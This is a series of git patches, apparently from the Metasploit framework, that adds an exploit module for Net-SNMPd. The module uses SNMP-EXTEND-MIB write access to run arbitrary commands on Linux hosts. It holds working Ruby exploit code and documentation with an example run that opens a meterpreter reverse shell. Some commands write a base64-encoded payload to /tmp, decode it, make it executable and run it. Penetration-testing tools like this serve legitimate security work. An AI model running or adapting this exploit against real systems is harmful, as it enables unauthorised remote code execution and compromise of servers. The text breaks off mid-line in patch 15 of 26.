From be8538152c82149c67f58f3f48302390f505e444 Mon Sep 17 00:00:00 2001 From: Steve Embling <34773749+steve-embling@users.noreply.github.com> Date: Fri, 22 Dec 2017 16:42:03 +0000 Subject: [PATCH 01/26] Added net_snmpd_rw_access exploit, authenticated remote code execution on Net-SNMPD for Linux systems --- .../linux/snmp/net_snmpd_rw_access.rb | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 modules/exploits/linux/snmp/net_snmpd_rw_access.rb diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb new file mode 100644 index 0000000000..955e0f807e --- /dev/null +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'snmp' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::SNMPClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution', + 'Description' => %q( + This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to + configure MIB extensions and lead to remote code execution. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Steve Embling at InteliSecure'], + 'References' => + [ + [ 'URL', 'https://www.intelisecure.com'] + ], + 'Payload' => + { + 'Space' => 4096, #arbitrary, but it seems to max out the size + #'BadChars' => "\x00" + }, + 'Targets' => + [ + ['Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }], + #Not tested on other platforms but confirmed the above works. + ], + #'DisclosureDate' => "Dec 22 2017", + 'DefaultTarget' => 0, + ) + ) + register_options( + [ + OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']), + OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]) + ]) + end + + def check + Exploit::CheckCode::Unsupported + end + + # + # The exploit method connects and sets: + # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) + # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable + # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments + # + def exploit + @payload_name = "#{rand_text_alpha(5)}" + full_path = datastore['FILEPATH'] + '/' + @payload_name + payload_exe = Rex::Text.encode_base64(generate_payload_exe) + if payload_exe.blank? + fail_with(Failure::BadConfig, "Failed to generate the ELF, select a native payload") + end + print_status("Writing to NET-SNMP-EXTEND-MIB with given payload") + comm = datastore['COMMUNITY'].to_s + # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) + oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112' + oid_1_value = 4 + oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112' + oid_2_value = "/bin/bash" + oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112' + oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1' + i = 0 + #vprint_status(payload_exe) + chunk_size = datastore['CHUNKSIZE'] + chunk_size = chunk_size.to_i + print_status("Payload generated. Sending in " + chunk_size.to_s + " byte chunk increments.") + while i <= payload_exe.length + ii = i + chunk_size + if ii > payload_exe.length + ii = -1 + end + vprint_status(i.to_s + " " + ii.to_s) + oid_3_value = "-c \"printf \'"+ payload_exe[i..ii]+"\' >> #{full_path}.1\"" + vprint_status(oid_3_value) + SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager| + vprint_status(manager.get_value("sysDescr.0")) + varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) + varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) + varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) + resp = manager.set([varbind1, varbind2, varbind3]) + vprint_status(manager.get_value(oid_4).to_s) + end + #Hit same again, first rewrite appears to remove the MIB, the next reinstates it. + SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager| + varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) + varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) + varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) + resp = manager.set([varbind1, varbind2, varbind3]) + vprint_status(manager.get_value(oid_4).to_s) + end + i = i + chunk_size + 1 + end + print_status("Sent chunked executable. Now executing payload") + #base64 may not be required here and might not be available on all platforms + oid_3_value = "-c \"cat #{full_path}.1 | base64 -d > #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};rm {full_path}.1\"" # + vprint_status(oid_3_value) + SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager| + varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) + varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) + varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) + resp = manager.set([varbind1, varbind2, varbind3]) + begin + status = manager.get_value(oid_4).to_s + if status == "noSuchInstance" + resp = manager.set([varbind1, varbind2, varbind3]) + status = manager.get_value(oid_4).to_s + print_bad("SNMP is still responsive, this does not look good") + end + print_status(status) + rescue SNMP::RequestTimeout + print_good("SNMP request timeout (this is promising).") + end + end + handler + end +end From e1fdd403ed870bed8de67622b8a181ca3060bf57 Mon Sep 17 00:00:00 2001 From: Steve Embling <34773749+steve-embling@users.noreply.github.com> Date: Fri, 22 Dec 2017 16:51:10 +0000 Subject: [PATCH 02/26] Added documentation --- .../exploit/linux/snmp/net_snmpd_rw_access.md | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md new file mode 100644 index 0000000000..fabf8ebfc1 --- /dev/null +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -0,0 +1,87 @@ +## Vulnerable Application + + This module uses SNMP extension MIBs to enable remote code execution on the Linux Net-SNMPD servers using the + SNMP-EXTEND-MIB. + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/linux/snmp/net_snmpd_rw_access` + 3. Do: `set rhost [IP]` + 4. Do: `set community [SNMP Community]` + 5. Do: `set version [SNMP Version]` + 4. Configure the payload + 5. Do: `run` + 6. You should get a session + + +## Example Run + + ``` + msf > use exploit/linux/snmp/net_snmpd_rw_access + msf exploit(linux/snmp/net_snmpd_rw_access) > set payload linux/x86/meterpreter/reverse_tcp + payload => linux/x86/meterpreter/reverse_tcp + msf exploit(linux/snmp/net_snmpd_rw_access) > set rhost 192.168.1.3 + rhost => 192.168.1.3 + msf exploit(linux/snmp/net_snmpd_rw_access) > set lhost 192.168.1.2 + lhost => 192.168.1.2 + msf exploit(linux/snmp/net_snmpd_rw_access) > set community private + community => private + msf exploit(linux/snmp/net_snmpd_rw_access) > set version 2c + version => 2c + + msf exploit(linux/snmp/net_snmpd_rw_access) > show info + + Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution + Module: exploit/linux/snmp/net_snmpd_rw_access + Platform: + Arch: + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Normal + + Provided by: + Steve Embling at InteliSecure + + Available targets: + Id Name + -- ---- + 0 Linux x86 + + Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHUNKSIZE 200 yes Maximum bytes of payload to write at once + COMMUNITY private yes SNMP Community String + FILEPATH /tmp yes file path to write to + RETRIES 1 yes SNMP Retries + RHOST 192.168.1.3 yes The target address + RPORT 161 yes The target port (UDP) + TIMEOUT 1 yes SNMP Timeout + VERSION 2c yes SNMP Version <1/2c> + + Payload information: + Space: 4096 + + Description: + This exploit module exploits the SNMP write access configuration + ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to + remote code execution. + + References: + https://www.intelisecure.com + + msf exploit(linux/snmp/net_snmpd_rw_access) > run + + [*] Started reverse TCP handler on 192.168.1.2:4444 + [*] Writing to NET-SNMP-EXTEND-MIB with given payload + [*] Payload generated. Sending in 200 byte chunk increments. + [*] Sent chunked executable. Now executing payload + [*] Sending stage (849108 bytes) to 192.168.1.3 + [+] SNMP request timeout (this is promising). + + meterpreter > exit + [*] Shutting down Meterpreter... + + [*] 192.168.1.3 - Meterpreter session 1 closed. Reason: User exit + ``` From 1161787cbde3fcc86cfa94f1bb17d30dc592bb66 Mon Sep 17 00:00:00 2001 From: Steve Embling <34773749+steve-embling@users.noreply.github.com> Date: Tue, 2 Jan 2018 12:28:20 +0000 Subject: [PATCH 03/26] Removed comma in payload -> space --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 955e0f807e..701918644b 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 4096, #arbitrary, but it seems to max out the size + 'Space' => 4096 #arbitrary, but it seems to max out the size #'BadChars' => "\x00" }, 'Targets' => From 358725bdd6a157fc93d79fc3fc9780cd600d0d28 Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 15:48:19 +0000 Subject: [PATCH 04/26] Update documentation --- .../modules/exploit/linux/snmp/net_snmpd_rw_access.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md index fabf8ebfc1..4dd62af3c4 100644 --- a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -10,12 +10,12 @@ 3. Do: `set rhost [IP]` 4. Do: `set community [SNMP Community]` 5. Do: `set version [SNMP Version]` - 4. Configure the payload - 5. Do: `run` - 6. You should get a session + 6. Configure the payload + 7. Do: `run` + 8. You should get a session -## Example Run +## Scenario ``` msf > use exploit/linux/snmp/net_snmpd_rw_access From 180bc1f7410a9d3e376119826d2b6992dfdfc8a4 Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 15:58:01 +0000 Subject: [PATCH 05/26] Add options to documentation --- .../modules/exploit/linux/snmp/net_snmpd_rw_access.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md index 4dd62af3c4..c92a99c9c8 100644 --- a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -14,6 +14,13 @@ 7. Do: `run` 8. You should get a session +## Options + This module accepts 'RHOST' and 'RPORT' to specify target address and port respectively. + 'FILEPATH' specifies where to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp + 'COMMUNITY' is a read/write community string of the target Net-SNMP service + 'VERSION' selects the SNMP protocol version. Accepted values are '1' or '2c' + 'CHUNKSIZE' is the maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments. + 'TIMEOUT' specifies the maximum time to allow SNMP to timeout. ## Scenario From ba528c8d50697137b5db7897a18303da478e5dbc Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 16:01:16 +0000 Subject: [PATCH 06/26] Indented description --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 701918644b..75853db23a 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution', 'Description' => %q( This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to - configure MIB extensions and lead to remote code execution. + configure MIB extensions and lead to remote code execution. ), 'License' => MSF_LICENSE, 'Author' => ['Steve Embling at InteliSecure'], From 50a1a0ae6c7d1500b024f0797919b58fccc40085 Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 16:03:17 +0000 Subject: [PATCH 07/26] Add comment to space limitation --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 75853db23a..ad1d2c8375 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -28,7 +28,8 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 4096 #arbitrary, but it seems to max out the size + 'Space' => 4096 + #note space above is not a hard limit and can be increased if required #'BadChars' => "\x00" }, 'Targets' => From 9bea263805b1d65258633cf682f2824be05bf738 Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 16:04:49 +0000 Subject: [PATCH 08/26] Changed temporary filename to local variable --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index ad1d2c8375..4ee59c640c 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments # def exploit - @payload_name = "#{rand_text_alpha(5)}" + payload_name = "#{rand_text_alpha(5)}" full_path = datastore['FILEPATH'] + '/' + @payload_name payload_exe = Rex::Text.encode_base64(generate_payload_exe) if payload_exe.blank? From 60e3b7be1abfc640be0666c2f19bc3c7e4494824 Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 16:06:44 +0000 Subject: [PATCH 09/26] Clarified printf string --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 4ee59c640c..94bcb65aa0 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote ii = -1 end vprint_status(i.to_s + " " + ii.to_s) - oid_3_value = "-c \"printf \'"+ payload_exe[i..ii]+"\' >> #{full_path}.1\"" + oid_3_value = "-c \"printf '#{payload_exe[i..ii]}' >> #{full_path}.1\"" vprint_status(oid_3_value) SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager| vprint_status(manager.get_value("sysDescr.0")) From a415a82aa380e28911b41a9a2c723704e4b30e1b Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 16:09:53 +0000 Subject: [PATCH 10/26] Shortened SNMPManager.open statements --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 94bcb65aa0..a326f9cf54 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status(i.to_s + " " + ii.to_s) oid_3_value = "-c \"printf '#{payload_exe[i..ii]}' >> #{full_path}.1\"" vprint_status(oid_3_value) - SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager| + SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| vprint_status(manager.get_value("sysDescr.0")) varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) @@ -96,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status(manager.get_value(oid_4).to_s) end #Hit same again, first rewrite appears to remove the MIB, the next reinstates it. - SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager| + SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) @@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote #base64 may not be required here and might not be available on all platforms oid_3_value = "-c \"cat #{full_path}.1 | base64 -d > #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};rm {full_path}.1\"" # vprint_status(oid_3_value) - SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager| + SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) From 829cfbab3b7ca31b0734ef811ad0e2cae76a6032 Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 16:11:47 +0000 Subject: [PATCH 11/26] Replaced string concats with interpolation --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index a326f9cf54..df407f5434 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -78,13 +78,13 @@ class MetasploitModule < Msf::Exploit::Remote #vprint_status(payload_exe) chunk_size = datastore['CHUNKSIZE'] chunk_size = chunk_size.to_i - print_status("Payload generated. Sending in " + chunk_size.to_s + " byte chunk increments.") + print_status("Payload generated. Sending in #{chunk_size} byte chunk increments.") while i <= payload_exe.length ii = i + chunk_size if ii > payload_exe.length ii = -1 end - vprint_status(i.to_s + " " + ii.to_s) + vprint_status("#{i} #{ii}") oid_3_value = "-c \"printf '#{payload_exe[i..ii]}' >> #{full_path}.1\"" vprint_status(oid_3_value) SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| From f372e8ec0950fbe957efb65001771f3c7a067858 Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 8 Feb 2018 16:19:09 +0000 Subject: [PATCH 12/26] Documentation markdown fix --- .../modules/exploit/linux/snmp/net_snmpd_rw_access.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md index c92a99c9c8..5942b59a1d 100644 --- a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -15,11 +15,11 @@ 8. You should get a session ## Options - This module accepts 'RHOST' and 'RPORT' to specify target address and port respectively. - 'FILEPATH' specifies where to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp - 'COMMUNITY' is a read/write community string of the target Net-SNMP service - 'VERSION' selects the SNMP protocol version. Accepted values are '1' or '2c' - 'CHUNKSIZE' is the maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments. + This module accepts 'RHOST' and 'RPORT' to specify target address and port respectively. + 'FILEPATH' specifies where to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp. + 'COMMUNITY' is a read/write community string of the target Net-SNMP service. + 'VERSION' selects the SNMP protocol version. Accepted values are '1' or '2c'. + 'CHUNKSIZE' is the maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments. 'TIMEOUT' specifies the maximum time to allow SNMP to timeout. ## Scenario From 7598a5801a42a54337043d4e5a7b88c938d95af3 Mon Sep 17 00:00:00 2001 From: Steve Date: Fri, 9 Feb 2018 09:36:59 +0000 Subject: [PATCH 13/26] Fix use of local var --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index df407f5434..c8e53afbac 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote # def exploit payload_name = "#{rand_text_alpha(5)}" - full_path = datastore['FILEPATH'] + '/' + @payload_name + full_path = datastore['FILEPATH'] + '/' + payload_name payload_exe = Rex::Text.encode_base64(generate_payload_exe) if payload_exe.blank? fail_with(Failure::BadConfig, "Failed to generate the ELF, select a native payload") From f17b9aed0ced1b865ff724b61b407d385565642b Mon Sep 17 00:00:00 2001 From: Steve Date: Fri, 9 Feb 2018 18:38:09 +0000 Subject: [PATCH 14/26] Use cmd_stager --- .../linux/snmp/net_snmpd_rw_access.rb | 102 +++++++----------- 1 file changed, 36 insertions(+), 66 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index c8e53afbac..ab92738c3b 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::SNMPClient - include Msf::Exploit::EXE + include Msf::Exploit::CmdStager def initialize(info = {}) super( @@ -34,9 +34,17 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Targets' => [ - ['Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Linux x86', { + 'Arch' => ARCH_X86, + 'Platform' => 'linux', + 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget ]}], + ['Linux x64', { + 'Arch' => ARCH_X86_64, + 'Platform' => 'linux', + 'CmdStagerFlavor' => [ :echo, :printf, :bourne ]}] + ], #Not tested on other platforms but confirmed the above works. - ], + #'DisclosureDate' => "Dec 22 2017", 'DefaultTarget' => 0, ) @@ -44,7 +52,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']), - OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]) + OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]), + OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash']) ]) end @@ -52,80 +61,41 @@ class MetasploitModule < Msf::Exploit::Remote Exploit::CheckCode::Unsupported end - # # The exploit method connects and sets: # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments - # - def exploit - payload_name = "#{rand_text_alpha(5)}" - full_path = datastore['FILEPATH'] + '/' + payload_name - payload_exe = Rex::Text.encode_base64(generate_payload_exe) - if payload_exe.blank? - fail_with(Failure::BadConfig, "Failed to generate the ELF, select a native payload") - end - print_status("Writing to NET-SNMP-EXTEND-MIB with given payload") - comm = datastore['COMMUNITY'].to_s + def execute_command(cmd, opts = {}) # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112' oid_1_value = 4 oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112' - oid_2_value = "/bin/bash" + oid_2_value = datastore['SHELL'] oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112' oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1' - i = 0 - #vprint_status(payload_exe) - chunk_size = datastore['CHUNKSIZE'] - chunk_size = chunk_size.to_i - print_status("Payload generated. Sending in #{chunk_size} byte chunk increments.") - while i <= payload_exe.length - ii = i + chunk_size - if ii > payload_exe.length - ii = -1 - end - vprint_status("#{i} #{ii}") - oid_3_value = "-c \"printf '#{payload_exe[i..ii]}' >> #{full_path}.1\"" - vprint_status(oid_3_value) - SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| - vprint_status(manager.get_value("sysDescr.0")) - varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) - varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) - varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) - resp = manager.set([varbind1, varbind2, varbind3]) - vprint_status(manager.get_value(oid_4).to_s) - end - #Hit same again, first rewrite appears to remove the MIB, the next reinstates it. - SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| - varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) - varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) - varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) - resp = manager.set([varbind1, varbind2, varbind3]) - vprint_status(manager.get_value(oid_4).to_s) - end - i = i + chunk_size + 1 - end - print_status("Sent chunked executable. Now executing payload") - #base64 may not be required here and might not be available on all platforms - oid_3_value = "-c \"cat #{full_path}.1 | base64 -d > #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};rm {full_path}.1\"" # + + comm = datastore['COMMUNITY'] + oid_3_value = "-c \"#{cmd}\"" vprint_status(oid_3_value) SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| - varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) - varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) - varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) - resp = manager.set([varbind1, varbind2, varbind3]) - begin - status = manager.get_value(oid_4).to_s - if status == "noSuchInstance" - resp = manager.set([varbind1, varbind2, varbind3]) - status = manager.get_value(oid_4).to_s - print_bad("SNMP is still responsive, this does not look good") - end - print_status(status) - rescue SNMP::RequestTimeout - print_good("SNMP request timeout (this is promising).") - end + vprint_status(manager.get_value("sysDescr.0")) + varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) + varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) + varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) + resp = manager.set([varbind1, varbind2, varbind3]) + vprint_status(manager.get_value(oid_4).to_s) end - handler + #Hit same again, first rewrite appears to remove the MIB, the next reinstates it. + SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| + varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) + varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) + varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) + resp = manager.set([varbind1, varbind2, varbind3]) + vprint_status(manager.get_value(oid_4).to_s) + end + end + + def exploit + execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH']) end end From 361a999dd1bf22e3850ed4a4e4aa2efdd8609ee2 Mon Sep 17 00:00:00 2001 From: Steve Date: Fri, 9 Feb 2018 18:49:04 +0000 Subject: [PATCH 15/26] Use ARCH_X64 instead --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index ab92738c3b..7e07c85c00 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'linux', 'CmdStagerFlavor' => [ :echo, :printf, 